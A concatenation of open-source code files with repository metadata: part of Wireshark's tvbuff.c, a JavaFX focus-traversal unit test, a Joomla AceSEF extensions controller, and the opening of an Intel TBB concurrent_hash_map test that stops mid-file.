-1) len = _tvb_captured_length_remaining(tvb, offset); /* * XXX - what if "len" is still -1, meaning "offset is past the * end of the tvbuff"? */ eob_offset = offset + len; cur_offset = offset; is_quoted = FALSE; for (;;) { /* * Is this part of the string quoted? */ if (is_quoted) { /* * Yes - look only for the terminating quote. */ char_offset = tvb_find_guint8(tvb, cur_offset, len, '"'); } else { /* * Look either for a CR, an LF, or a '"'. */ char_offset = tvb_pbrk_guint8(tvb, cur_offset, len, "\r\n\"", &c); } if (char_offset == -1) { /* * Not found - line is presumably continued in * next packet. * We pretend the line runs to the end of the tvbuff. */ linelen = eob_offset - offset; if (next_offset) *next_offset = eob_offset; break; } if (is_quoted) { /* * We're processing a quoted string. * We only looked for ", so we know it's a "; * as we're processing a quoted string, it's a * closing quote. */ is_quoted = FALSE; } else { /* * OK, what is it? */ if (c == '"') { /* * Un-quoted "; it begins a quoted * string. */ is_quoted = TRUE; } else { /* * It's a CR or LF; we've found a line * terminator. * * Find the number of bytes between the * starting offset and the CR or LF. */ linelen = char_offset - offset; /* * Is it a CR? */ if (c == '\r') { /* * Yes; is it followed by an LF? */ if (char_offset + 1 < eob_offset && tvb_get_guint8(tvb, char_offset + 1) == '\n') { /* * Yes; skip over the CR. */ char_offset++; } } /* * Return the offset of the character after * the last character in the line, skipping * over the last character in the line * terminator, and quit. */ if (next_offset) *next_offset = char_offset + 1; break; } } /* * Step past the character we found. */ cur_offset = char_offset + 1; if (cur_offset >= eob_offset) { /* * The character we found was the last character * in the tvbuff - line is presumably continued in * next packet. * We pretend the line runs to the end of the tvbuff. */ linelen = eob_offset - offset; if (next_offset) *next_offset = eob_offset; break; } } return linelen; } /* * Copied from the mgcp dissector. (This function should be moved to /epan ) * tvb_skip_wsp - Returns the position in tvb of the first non-whitespace * character following offset or offset + maxlength -1 whichever * is smaller. * * Parameters: * tvb - The tvbuff in which we are skipping whitespace. * offset - The offset in tvb from which we begin trying to skip whitespace. * maxlength - The maximum distance from offset that we may try to skip * whitespace. * * Returns: The position in tvb of the first non-whitespace * character following offset or offset + maxlength -1 whichever * is smaller. */ gint tvb_skip_wsp(tvbuff_t *tvb, const gint offset, const gint maxlength) { gint counter = offset; gint end, tvb_len; guint8 tempchar; DISSECTOR_ASSERT(tvb && tvb->initialized); /* Get the length remaining */ /*tvb_len = tvb_captured_length(tvb);*/ tvb_len = tvb->length; end = offset + maxlength; if (end >= tvb_len) { end = tvb_len; } /* Skip past spaces, tabs, CRs and LFs until run out or meet something else */ for (counter = offset; counter < end && ((tempchar = tvb_get_guint8(tvb,counter)) == ' ' || tempchar == '\t' || tempchar == '\r' || tempchar == '\n'); counter++); return (counter); } gint tvb_skip_wsp_return(tvbuff_t *tvb, const gint offset) { gint counter = offset; guint8 tempchar; for(counter = offset; counter > 0 && ((tempchar = tvb_get_guint8(tvb,counter)) == ' ' || tempchar == '\t' || tempchar == '\n' || tempchar == '\r'); counter--); counter++; return (counter); } int tvb_skip_guint8(tvbuff_t *tvb, int offset, const int maxlength, const guint8 ch) { int end, tvb_len; DISSECTOR_ASSERT(tvb && tvb->initialized); /* Get the length remaining */ /*tvb_len = tvb_captured_length(tvb);*/ tvb_len = tvb->length; end = offset + maxlength; if (end >= tvb_len) end = tvb_len; while (offset < end) { guint8 tempch = tvb_get_guint8(tvb, offset); if (tempch != ch) break; offset++; } return offset; } /* * Format a bunch of data from a tvbuff as bytes, returning a pointer * to the string with the formatted data, with "punct" as a byte * separator. */ gchar * tvb_bytes_to_ep_str_punct(tvbuff_t *tvb, const gint offset, const gint len, const gchar punct) { return bytes_to_ep_str_punct(ensure_contiguous(tvb, offset, len), len, punct); } /* * Given a tvbuff, an offset into the tvbuff, and a length that starts * at that offset (which may be -1 for "all the way to the end of the * tvbuff"), fetch BCD encoded digits from a tvbuff starting from either * the low or high half byte, formating the digits according to an input digit set, * if NUll a default digit set of 0-9 returning "?" for overdecadic digits will be used. * A pointer to the packet scope allocated string will be returned. * Note a tvbuff content of 0xf is considered a 'filler' and will end the conversion. */ static dgt_set_t Dgt1_9_bcd = { { /* 0 1 2 3 4 5 6 7 8 9 a b c d e f*/ '0','1','2','3','4','5','6','7','8','9','?','?','?','?','?','?' } }; const gchar * tvb_bcd_dig_to_wmem_packet_str(tvbuff_t *tvb, const gint offset, const gint len, dgt_set_t *dgt, gboolean skip_first) { int length; guint8 octet; int i = 0; char *digit_str; gint t_offset = offset; DISSECTOR_ASSERT(tvb && tvb->initialized); if (!dgt) dgt = &Dgt1_9_bcd; if (len == -1) { /*length = tvb_captured_length(tvb);*/ length = tvb->length; if (length < offset) { return ""; } } else { length = offset + len; } digit_str = (char *)wmem_alloc(wmem_packet_scope(), (length - offset)*2+1); while (t_offset < length) { octet = tvb_get_guint8(tvb,t_offset); if (!skip_first) { digit_str[i] = dgt->out[octet & 0x0f]; i++; } skip_first = FALSE; /* * unpack second value in byte */ octet = octet >> 4; if (octet == 0x0f) /* odd number bytes - hit filler */ break; digit_str[i] = dgt->out[octet & 0x0f]; i++; t_offset++; } digit_str[i]= '\0'; return digit_str; } /* * Format a bunch of data from a tvbuff as bytes, returning a pointer * to the string with the formatted data. */ gchar * tvb_bytes_to_ep_str(tvbuff_t *tvb, const gint offset, const gint len) { return bytes_to_ep_str(ensure_contiguous(tvb, offset, len), len); } /* Find a needle tvbuff within a haystack tvbuff. */ gint tvb_find_tvb(tvbuff_t *haystack_tvb, tvbuff_t *needle_tvb, const gint haystack_offset) { guint haystack_abs_offset, haystack_abs_length; const guint8 *haystack_data; const guint8 *needle_data; const guint needle_len = needle_tvb->length; const guint8 *location; DISSECTOR_ASSERT(haystack_tvb && haystack_tvb->initialized); if (haystack_tvb->length < 1 || needle_tvb->length < 1) { return -1; } /* Get pointers to the tvbuffs' data. */ haystack_data = ensure_contiguous(haystack_tvb, 0, -1); needle_data = ensure_contiguous(needle_tvb, 0, -1); check_offset_length(haystack_tvb, haystack_offset, -1, &haystack_abs_offset, &haystack_abs_length); location = epan_memmem(haystack_data + haystack_abs_offset, haystack_abs_length, needle_data, needle_len); if (location) { return (gint) (location - haystack_data); } return -1; } gint tvb_raw_offset(tvbuff_t *tvb) { return ((tvb->raw_offset==-1) ? (tvb->raw_offset = tvb_offset_from_real_beginning(tvb)) : tvb->raw_offset); } void tvb_set_fragment(tvbuff_t *tvb) { tvb->flags |= TVBUFF_FRAGMENT; } struct tvbuff * tvb_get_ds_tvb(tvbuff_t *tvb) { return(tvb->ds_tvb); } /* * Editor modelines - http://www.wireshark.org/tools/modelines.html * * Local variables: * c-basic-offset: 8 * tab-width: 8 * indent-tabs-mode: t * End: * * vi: set shiftwidth=8 tabstop=8 noexpandtab: * :indentSize=8:tabSize=8:noTabs=false: */
jfzazo/wireshark-hwgen
src/epan/tvbuff.c
C
gpl-2.0
90,590
/* * Copyright (c) 2011, 2016, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package test.com.sun.javafx.scene.traversal; import com.sun.javafx.scene.ParentHelper; import com.sun.javafx.scene.traversal.Algorithm; import com.sun.javafx.scene.traversal.ContainerTabOrder; import com.sun.javafx.scene.traversal.ContainerTabOrderShim; import com.sun.javafx.scene.traversal.Direction; import com.sun.javafx.scene.traversal.ParentTraversalEngine; import com.sun.javafx.scene.traversal.TopMostTraversalEngine; import com.sun.javafx.scene.traversal.TopMostTraversalEngineShim; import com.sun.javafx.scene.traversal.TraversalContext; import javafx.scene.Group; import javafx.scene.Node; import javafx.scene.Parent; import javafx.scene.ParentShim; import javafx.scene.shape.Rectangle; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.assertEquals; import static org.junit.Assert.fail; public class TopMostTraversalEngineTest { private TopMostTraversalEngineShim engine; private Group root; @Before public void setUp() { root = new Group(); engine = new TopMostTraversalEngineShim(new ContainerTabOrderShim()) { @Override protected Parent getRoot() { return root; } }; } @Test public void selectFirst() { final Node focusableNode = createFocusableNode(); Group g = new Group(focusableNode, createFocusableNode()); ParentShim.getChildren(root).add(g); assertEquals(focusableNode, engine.selectFirst()); } @Test public void selectFirstSkipInvisible() { final Node n1 = createFocusableDisabledNode(); final Node n2 = createFocusableNode(); ParentShim.getChildren(root).addAll(n1, n2); assertEquals(n2, engine.selectFirst()); } @Test public void selectFirstUseParentEngine() { Group g = new Group(createFocusableNode()); ParentHelper.setTraversalEngine(g, new ParentTraversalEngine(g, new Algorithm() { @Override public Node select(Node owner, Direction dir, TraversalContext context) { return null; } @Override public Node selectFirst(TraversalContext context) { return null; } @Override public Node selectLast(TraversalContext context) { return null; } })); g.setDisable(true); ParentShim.getChildren(root).add(g); final Node focusableNode = createFocusableNode(); g = new Group(createFocusableNode(), focusableNode, createFocusableNode()); ParentHelper.setTraversalEngine(g, new ParentTraversalEngine(g, new Algorithm() { @Override public Node select(Node owner, Direction dir, TraversalContext context) { fail(); return null; } @Override public Node selectFirst(TraversalContext context) { return focusableNode; } @Override public Node selectLast(TraversalContext context) { fail(); return null; } })); ParentShim.getChildren(root).add(g); assertEquals(focusableNode, engine.selectFirst()); } @Test public void selectFirstFocusableParent() { Group g = new Group(createFocusableNode(), createFocusableNode()); g.setFocusTraversable(true); ParentShim.getChildren(root).add(g); assertEquals(g, engine.selectFirst()); } @Test public void selectFirstTraverseOverride() { Group g = new Group(createFocusableNode(), createFocusableNode()); g.setFocusTraversable(true); final ParentTraversalEngine pEngine = new ParentTraversalEngine(g); pEngine.setOverriddenFocusTraversability(false); ParentHelper.setTraversalEngine(g, pEngine); ParentShim.getChildren(root).add(g); assertEquals(ParentShim.getChildren(g).get(0), engine.selectFirst()); } @Test public void selectLast() { final Node focusableNode = createFocusableNode(); Group g = new Group(createFocusableNode(), focusableNode); ParentShim.getChildren(root).add(g); assertEquals(focusableNode, engine.selectLast()); } @Test public void selectLastSkipInvisible() { final Node n1 = createFocusableNode(); final Node n2 = createFocusableDisabledNode(); ParentShim.getChildren(root).addAll(n1, n2); assertEquals(n1, engine.selectFirst()); } @Test public void selectLastUseParentEngine() { final Node focusableNode = createFocusableNode(); Group g = new Group(createFocusableNode(), focusableNode, createFocusableNode()); ParentHelper.setTraversalEngine(g, new ParentTraversalEngine(g, new Algorithm() { @Override public Node select(Node owner, Direction dir, TraversalContext context) { fail(); return null; } @Override public Node selectFirst(TraversalContext context) { fail(); return null; } @Override public Node selectLast(TraversalContext context) { return focusableNode; } })); ParentShim.getChildren(root).add(g); g = new Group(createFocusableNode()); ParentHelper.setTraversalEngine(g, new ParentTraversalEngine(g, new Algorithm() { @Override public Node select(Node owner, Direction dir, TraversalContext context) { return null; } @Override public Node selectFirst(TraversalContext context) { return null; } @Override public Node selectLast(TraversalContext context) { return null; } })); g.setDisable(true); ParentShim.getChildren(root).add(g); assertEquals(focusableNode, engine.selectLast()); } @Test public void selectLastFocusableParent() { final Node focusableNode = createFocusableNode(); Group g = new Group(createFocusableNode(), focusableNode); g.setFocusTraversable(true); ParentShim.getChildren(root).add(g); assertEquals(focusableNode, engine.selectLast()); } @Test public void selectLastFocusableParent_2() { Group g = new Group(new Rectangle()); g.setFocusTraversable(true); ParentShim.getChildren(root).add(g); assertEquals(g, engine.selectLast()); } @Test public void selectLastTraverseOverride() { Group g = new Group(); g.setFocusTraversable(true); final ParentTraversalEngine pEngine = new ParentTraversalEngine(g); pEngine.setOverriddenFocusTraversability(false); ParentHelper.setTraversalEngine(g, pEngine); Node focusableNode = createFocusableNode(); ParentShim.getChildren(root).addAll(focusableNode, g); assertEquals(focusableNode, engine.selectLast()); } @Test public void selectNext() { Node n1 = createFocusableNode(); Node n2 = createFocusableNode(); Group g = new Group(createFocusableNode(), n1, new Rectangle(), n2, createFocusableNode()); ParentShim.getChildren(root).addAll(g); assertEquals(n2, engine.trav(n1, Direction.NEXT)); } @Test public void selectNextFromParent() { Node ng1 = createFocusableNode(); Node n1 = new Group(new Rectangle(), createFocusableDisabledNode(), ng1, createFocusableNode()); Node n2 = createFocusableNode(); Group g = new Group(createFocusableNode(), n1, new Rectangle(), n2, createFocusableNode()); ParentShim.getChildren(root).addAll(g); assertEquals(ng1, engine.trav(n1, Direction.NEXT)); } @Test public void selectNextFromParent_2() { Node n1 = new Group(createFocusableDisabledNode(), createFocusableDisabledNode()); Node n2 = createFocusableNode(); Group g = new Group(createFocusableNode(), n1, new Rectangle(), n2, createFocusableNode()); ParentShim.getChildren(root).addAll(g); assertEquals(n2, engine.trav(n1, Direction.NEXT)); } @Test public void selectNextInParentSibling() { Node n1 = createFocusableNode(); final Node n2 = createFocusableNode(); ParentShim.getChildren(root).addAll(createFocusableNode(), new Group(new Group(n1, createFocusableDisabledNode(), createFocusableDisabledNode()), new Group(createFocusableDisabledNode())), new Group(n2)); assertEquals(n2, engine.trav(n1, Direction.NEXT)); } @Test public void selectNextFocusableParent() { Node n1 = createFocusableNode(); Group g = new Group(createFocusableNode()); g.setFocusTraversable(true); ParentShim.getChildren(root).addAll(new Group(createFocusableNode(), n1, createFocusableDisabledNode(), g)); assertEquals(g, engine.trav(n1, Direction.NEXT)); } @Test public void selectNextInOverridenAlgorithm() { Node n1 = createFocusableNode(); Node n2 = createFocusableNode(); Group g = new Group(n1, createFocusableNode(), n2); ParentHelper.setTraversalEngine(g, new ParentTraversalEngine(g, new Algorithm() { @Override public Node select(Node owner, Direction dir, TraversalContext context) { assertEquals(Direction.NEXT, dir); return n2; } @Override public Node selectFirst(TraversalContext context) { fail(); return null; } @Override public Node selectLast(TraversalContext context) { fail(); return null; } })); ParentShim.getChildren(root).add(g); assertEquals(n2, engine.trav(n1, Direction.NEXT)); } @Test public void selectNextInOverridenAlgorithm_NothingSelected() { Node n1 = createFocusableNode(); Node n2 = createFocusableNode(); Group g = new Group(n1, createFocusableNode(), n2); g.setFocusTraversable(true); ParentHelper.setTraversalEngine(g, new ParentTraversalEngine(g, new Algorithm() { @Override public Node select(Node owner, Direction dir, TraversalContext context) { assertEquals(Direction.NEXT, dir); return null; } @Override public Node selectFirst(TraversalContext context) { fail(); return null; } @Override public Node selectLast(TraversalContext context) { fail(); return null; } })); final Node n3 = createFocusableNode(); ParentShim.getChildren(root).addAll(g, n3); assertEquals(n3, engine.trav(n1, Direction.NEXT)); } @Test public void selectNextInLine() { Node n1 = new Group(createFocusableNode(), createFocusableNode()); n1.setFocusTraversable(true); Node n2 = createFocusableNode(); Group g = new Group(createFocusableNode(), n1, new Rectangle(), n2, createFocusableNode()); ParentShim.getChildren(root).addAll(g); assertEquals(n2, engine.trav(n1, Direction.NEXT_IN_LINE)); } @Test public void selectPrevious() { Node n1 = createFocusableNode(); Node n2 = createFocusableNode(); Group g = new Group(createFocusableNode(), n2, new Rectangle(), n1, createFocusableNode()); ParentShim.getChildren(root).addAll(g); assertEquals(n2, engine.trav(n1, Direction.PREVIOUS)); } @Test public void selectPreviousFromParent() { Node ng1 = createFocusableNode(); Node n1 = new Group(new Rectangle(), createFocusableDisabledNode(), ng1, createFocusableNode()); Node n2 = createFocusableNode(); Group g = new Group(createFocusableNode(), n2, new Rectangle(), n1, createFocusableNode()); ParentShim.getChildren(root).addAll(g); assertEquals(n2, engine.trav(n1, Direction.PREVIOUS)); } @Test public void selectPreviousFromParent_2() { Node n1 = new Group(createFocusableDisabledNode(), createFocusableDisabledNode()); Node n2 = createFocusableNode(); Group g = new Group(createFocusableNode(), n2, new Rectangle(), n1, createFocusableNode()); ParentShim.getChildren(root).addAll(g); assertEquals(n2, engine.trav(n1, Direction.PREVIOUS)); } @Test public void selectPreviousInParentSibling() { Node n1 = createFocusableNode(); final Node n2 = createFocusableNode(); ParentShim.getChildren(root).addAll(new Group(n2), new Group(createFocusableDisabledNode()), new Group(new Group(createFocusableDisabledNode(), n1, createFocusableDisabledNode())), createFocusableNode()); assertEquals(n2, engine.trav(n1, Direction.PREVIOUS)); } @Test public void selectPreviousFocusableParentsNode() { Node n1 = createFocusableNode(); final Node n2 = createFocusableNode(); Group g = new Group(n2); g.setFocusTraversable(true); ParentShim.getChildren(root).addAll(new Group(createFocusableNode(), g, n1, createFocusableDisabledNode())); assertEquals(n2, engine.trav(n1, Direction.PREVIOUS)); } @Test public void selectPreviousFocusableParent() { Node n1 = createFocusableNode(); final Node n2 = createFocusableNode(); Group g = new Group(createFocusableDisabledNode(), n2); g.setFocusTraversable(true); ParentShim.getChildren(root).addAll(new Group(createFocusableNode(), n1, g, createFocusableDisabledNode())); assertEquals(g, engine.trav(n2, Direction.PREVIOUS)); } @Test public void selectNextToLast() { Node n1 = createFocusableNode(); Node n2 = createFocusableNode(); ParentShim.getChildren(root).addAll(new Group(n2), new Group(createFocusableNode(), n1)); assertEquals(n2, engine.trav(n1, Direction.NEXT)); } @Test public void selectPreviousToFirst() { Node n1 = createFocusableNode(); Node n2 = createFocusableNode(); ParentShim.getChildren(root).addAll(new Group(n1, createFocusableNode()), new Group(n2)); assertEquals(n2, engine.trav(n1, Direction.PREVIOUS)); } @Test public void selectPreviousInOverridenAlgorithm() { Node n1 = createFocusableNode(); Node n2 = createFocusableNode(); Group g = new Group(n2, createFocusableNode(), n1); ParentHelper.setTraversalEngine(g, new ParentTraversalEngine(g, new Algorithm() { @Override public Node select(Node owner, Direction dir, TraversalContext context) { assertEquals(Direction.PREVIOUS, dir); return n2; } @Override public Node selectFirst(TraversalContext context) { fail(); return null; } @Override public Node selectLast(TraversalContext context) { fail(); return null; } })); ParentShim.getChildren(root).add(g); assertEquals(n2, engine.trav(n1, Direction.PREVIOUS)); } private Node createFocusableNode() { Node n = new Rectangle(); n.setFocusTraversable(true); return n; } private Node createFocusableDisabledNode() { Node n = createFocusableNode(); n.setDisable(true); return n; } }
teamfx/openjfx-10-dev-rt
modules/javafx.graphics/src/test/java/test/com/sun/javafx/scene/traversal/TopMostTraversalEngineTest.java
Java
gpl-2.0
17,127
<?php /** * @version 1.5.0 * @package AceSEF * @subpackage AceSEF * @copyright 2009-2010 JoomAce LLC, www.joomace.net * @license GNU/GPL http://www.gnu.org/copyleft/gpl.html */ // No permission defined('_JEXEC') or die('Restricted Access'); // Controller Class class AcesefControllerExtensions extends AcesefController { // Main constructer function __construct() { parent::__construct('extensions'); } // Display function view() { $this->_model->checkComponents(); $view = $this->getView(ucfirst($this->_context), 'html'); $view->setModel($this->_model, true); $view->view(); } // Uninstall extensions function uninstall() { // Check token JRequest::checkToken() or jexit('Invalid Token'); // Uninstall selected extensions $this->_model->uninstall(); // Return parent::route(JText::_('ACESEF_EXTENSIONS_VIEW_REMOVED')); } // Save changes function save() { // Check token JRequest::checkToken() or jexit('Invalid Token'); // Save $this->_model->save(); // Return parent::route(JText::_('ACESEF_EXTENSIONS_VIEW_SAVED')); } // Save changes & Delete URLs function saveDeleteURLs() { // Check token JRequest::checkToken() or jexit('Invalid Token'); $ids = parent::_getIDs($this->_context, $this->_model); foreach ($ids as $id) { $this->_model->save($id, 'deleteURLs'); } // Return parent::route(JText::_('ACESEF_EXTENSIONS_VIEW_SAVED_URL_PURGED')); } // Save changes & Update URLs function saveUpdateURLs() { // Check token JRequest::checkToken() or jexit('Invalid Token'); $count = 0; $ids = parent::_getIDs($this->_context, $this->_model); foreach ($ids as $id) { $urls = $this->_model->save($id, 'updateURLs'); $count += $urls; } // Return parent::route(JText::_('ACESEF_COMMON_UPDATED_URLS').' '.$count); } // Install a new extension function installUpgrade() { // Check token JRequest::checkToken() or jexit('Invalid Token'); if(!$this->_model->installUpgrade()){ JError::raiseWarning('1001', JText::_('ACESEF_EXTENSIONS_VIEW_NOT_INSTALLED')); } else { parent::route(JText::_('ACESEF_EXTENSIONS_VIEW_INSTALLED')); } } } ?>
cifren/opussalon
administrator/components/com_acesef/controllers/extensions.php
PHP
gpl-2.0
2,273
/* Copyright 2005-2016 Intel Corporation. All Rights Reserved. This file is part of Threading Building Blocks. Threading Building Blocks is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. Threading Building Blocks is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Threading Building Blocks; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA As a special exception, you may use this file as part of a free software library without restriction. Specifically, if other files instantiate templates or use macros or inline functions from this file, or you compile this file and link it with other files to produce an executable, this file does not by itself cause the resulting executable to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the executable file might be covered by the GNU General Public License. */ #ifndef TBB_USE_PERFORMANCE_WARNINGS #define TBB_USE_PERFORMANCE_WARNINGS 1 #endif // Our tests usually include the header under test first. But this test needs // to use the preprocessor to edit the identifier runtime_warning in concurrent_hash_map.h. // Hence we include a few other headers before doing the abusive edit. #include "tbb/tbb_stddef.h" /* Defines runtime_warning */ #include "harness_assert.h" /* Prerequisite for defining hooked_warning */ #include "test_container_move_support.h" // The symbol internal::runtime_warning is normally an entry point into the TBB library. // Here for sake of testing, we define it to be hooked_warning, a routine peculiar to this unit test. #define runtime_warning hooked_warning static bool bad_hashing = false; namespace tbb { namespace internal { static void hooked_warning( const char* /*format*/, ... ) { ASSERT(bad_hashing, "unexpected runtime_warning: bad hashing"); } } // namespace internal } // namespace tbb #define __TBB_EXTRA_DEBUG 1 // enables additional checks #include "tbb/concurrent_hash_map.h" // Restore runtime_warning as an entry point into the TBB library. #undef runtime_warning namespace Jungle { struct Tiger {}; size_t tbb_hasher( const Tiger& ) {return 0;} } #if !defined(_MSC_VER) || _MSC_VER>=1400 || __INTEL_COMPILER void test_ADL() { tbb::tbb_hash_compare<Jungle::Tiger>::hash(Jungle::Tiger()); // Instantiation chain finds tbb_hasher via Argument Dependent Lookup } #endif struct UserDefinedKeyType { }; namespace tbb { // Test whether tbb_hash_compare can be partially specialized as stated in Reference manual. template<> struct tbb_hash_compare<UserDefinedKeyType> { size_t hash( UserDefinedKeyType ) const {return 0;} bool equal( UserDefinedKeyType /*x*/, UserDefinedKeyType /*y*/ ) {return true;} }; } #include "harness_runtime_loader.h" tbb::concurrent_hash_map<UserDefinedKeyType,int> TestInstantiationWithUserDefinedKeyType; // Test whether a sufficient set of headers were included to instantiate a concurrent_hash_map. OSS Bug #120 (& #130): // http://www.threadingbuildingblocks.org/bug_desc.php?id=120 tbb::concurrent_hash_map<std::pair<std::pair<int,std::string>,const char*>,int> TestInstantiation; #include "tbb/parallel_for.h" #include "tbb/blocked_range.h" #include "tbb/atomic.h" #include "tbb/tick_count.h" #include "harness.h" #include "harness_allocator.h" class MyException : public std::bad_alloc { public: virtual const char *what() const throw() { return "out of items limit"; } virtual ~MyException() throw() {} }; /** Has tightly controlled interface so that we can verify that concurrent_hash_map uses only the required interface. */ class MyKey { private: void operator=( const MyKey& ); // Deny access int key; friend class MyHashCompare; friend class YourHashCompare; public: static MyKey make( int i ) { MyKey result; result.key = i; return result; } int value_of() const {return key;} }; //TODO: unify with Harness::Foo ? tbb::atomic<long> MyDataCount; long MyDataCountLimit = 0; class MyData { protected: friend class MyData2; int data; enum state_t { LIVE=0x1234, DEAD=0x5678 } my_state; void operator=( const MyData& ); // Deny access public: MyData(int i = 0) { my_state = LIVE; data = i; if(MyDataCountLimit && MyDataCount + 1 >= MyDataCountLimit) __TBB_THROW( MyException() ); ++MyDataCount; } MyData( const MyData& other ) { ASSERT( other.my_state==LIVE, NULL ); my_state = LIVE; data = other.data; if(MyDataCountLimit && MyDataCount + 1 >= MyDataCountLimit) __TBB_THROW( MyException() ); ++MyDataCount; } ~MyData() { --MyDataCount; my_state = DEAD; } static MyData make( int i ) { MyData result; result.data = i; return result; } int value_of() const { ASSERT( my_state==LIVE, NULL ); return data; } void set_value( int i ) { ASSERT( my_state==LIVE, NULL ); data = i; } bool operator==( const MyData& other ) const { ASSERT( other.my_state==LIVE, NULL ); ASSERT( my_state==LIVE, NULL ); return data == other.data; } }; class MyData2 : public MyData { public: MyData2( ) {} MyData2( const MyData& other ) { ASSERT( other.my_state==LIVE, NULL ); ASSERT( my_state==LIVE, NULL ); data = other.data; } void operator=( const MyData& other ) { ASSERT( other.my_state==LIVE, NULL ); ASSERT( my_state==LIVE, NULL ); data = other.data; } void operator=( const MyData2& other ) { ASSERT( other.my_state==LIVE, NULL ); ASSERT( my_state==LIVE, NULL ); data = other.data; } bool operator==( const MyData2& other ) const { ASSERT( other.my_state==LIVE, NULL ); ASSERT( my_state==LIVE, NULL ); return data == other.data; } }; class MyHashCompare { public: bool equal( const MyKey& j, const MyKey& k ) const { return j.key==k.key; } unsigned long hash( const MyKey& k ) const { return k.key; } }; class YourHashCompare { public: bool equal( const MyKey& j, const MyKey& k ) const { return j.key==k.key; } unsigned long hash( const MyKey& ) const { return 1; } }; typedef local_counting_allocator<std::allocator<MyData> > MyAllocator; typedef tbb::concurrent_hash_map<MyKey,MyData,MyHashCompare,MyAllocator> MyTable; typedef tbb::concurrent_hash_map<MyKey,MyData2,MyHashCompare> MyTable2; typedef tbb::concurrent_hash_map<MyKey,MyData,YourHashCompare> YourTable; typedef tbb::concurrent_hash_map<MyKey,MyData,MyHashCompare,MyAllocator> MyTable; typedef tbb::concurrent_hash_map<MyKey,Foo,MyHashCompare> DataStateTrackedTable; template<typename MyTable> inline void CheckAllocator(MyTable &table, size_t expected_allocs, size_t expected_frees, bool exact = true) { size_t items_allocated = table.get_allocator().items_allocated, items_freed = table.get_allocator().items_freed; size_t allocations = table.get_allocator().allocations, frees = table.get_allocator().frees; REMARK("checking allocators: items %u/%u, allocs %u/%u\n", unsigned(items_allocated), unsigned(items_freed), unsigned(allocations), unsigned(frees) ); ASSERT( items_allocated == allocations, NULL); ASSERT( items_freed == frees, NULL); if(exact) { ASSERT( allocations == expected_allocs, NULL); ASSERT( frees == expected_frees, NULL); } else { ASSERT( allocations >= expected_allocs, NULL); ASSERT( frees >= expected_frees, NULL); ASSERT( allocations - frees == expected_allocs - expected_frees, NULL ); } } inline bool UseKey( size_t i ) { return (i&3)!=3; } struct Insert { static void apply( MyTable& table, int i ) { if( UseKey(i) ) { if( i&4 ) { MyTable::accessor a; table.insert( a, MyKey::make(i) ); if( i&1 ) (*a).second.set_value(i*i); else a->second.set_value(i*i); } else if( i&1 ) { MyTable::accessor a; table.insert( a, std::make_pair(MyKey::make(i), MyData(i*i)) ); ASSERT( (*a).second.value_of()==i*i, NULL ); } else { MyTable::const_accessor ca; table.insert( ca, std::make_pair(MyKey::make(i), MyData(i*i)) ); ASSERT( ca->second.value_of()==i*i, NULL ); } } } }; #if __TBB_CPP11_RVALUE_REF_PRESENT struct RvalueInsert { static void apply( DataStateTrackedTable& table, int i ) { DataStateTrackedTable::accessor a; ASSERT( (table.insert( a, std::make_pair(MyKey::make(i), Foo(i + 1)))),"already present while should not ?" ); ASSERT( (*a).second == i + 1, NULL ); ASSERT( (*a).second.state == Harness::StateTrackableBase::MoveInitialized, ""); } }; #if __TBB_CPP11_VARIADIC_TEMPLATES_PRESENT struct Emplace { static void apply( DataStateTrackedTable& table, int i ) { DataStateTrackedTable::accessor a; ASSERT( (table.emplace( a, MyKey::make(i), (i + 1))),"already present while should not ?" ); ASSERT( (*a).second == i + 1, NULL ); ASSERT( (*a).second.state == Harness::StateTrackableBase::DirectInitialized, ""); } }; #endif // __TBB_CPP11_VARIADIC_TEMPLATES_PRESENT #endif // __TBB_CPP11_RVALUE_REF_PRESENT #if __TBB_INITIALIZER_LISTS_PRESENT struct InsertInitList { static void apply( MyTable& table, int i ) { if ( UseKey( i ) ) { // TODO: investigate why the following sequence causes an additional allocation sometimes: // table.insert( MyTable::value_type( MyKey::make( i ), i*i ) ); // table.insert( MyTable::value_type( MyKey::make( i ), i*i+1 ) ); std::initializer_list<MyTable::value_type> il = { MyTable::value_type( MyKey::make( i ), i*i )/*, MyTable::value_type( MyKey::make( i ), i*i+1 ) */ }; table.insert( il ); } } }; #endif /* __TBB_INITIALIZER_LISTS_PRESENT */ struct Find { static void apply( MyTable& table, int i ) { MyTable::accessor a; const MyTable::accessor& ca = a; bool b = table.find( a, MyKey::make(i) ); ASSERT( b==!a.empty(), NULL ); if( b ) { if( !UseKey(i) ) REPORT("Line %d: unexpected key %d present\n",__LINE__,i); AssertSameType( &*a, static_cast<MyTable::value_type*>(0) ); ASSERT( ca->second.value_of()==i*i, NULL ); ASSERT( (*ca).second.value_of()==i*i, NULL ); if( i&1 ) ca->second.set_value( ~ca->second.value_of() ); else (*ca).second.set_value( ~ca->second.value_of() ); } else { if( UseKey(i) ) REPORT("Line %d: key %d missing\n",__LINE__,i); } } }; struct FindConst { static void apply( const MyTable& table, int i ) { MyTable::const_accessor a; const MyTable::const_accessor& ca = a; bool b = table.find( a, MyKey::make(i) ); ASSERT( b==(table.count(MyKey::make(i))>0), NULL ); ASSERT( b==!a.empty(), NULL ); ASSERT( b==UseKey(i), NULL ); if( b ) { AssertSameType( &*ca, static_cast<const MyTable::value_type*>(0) ); ASSERT( 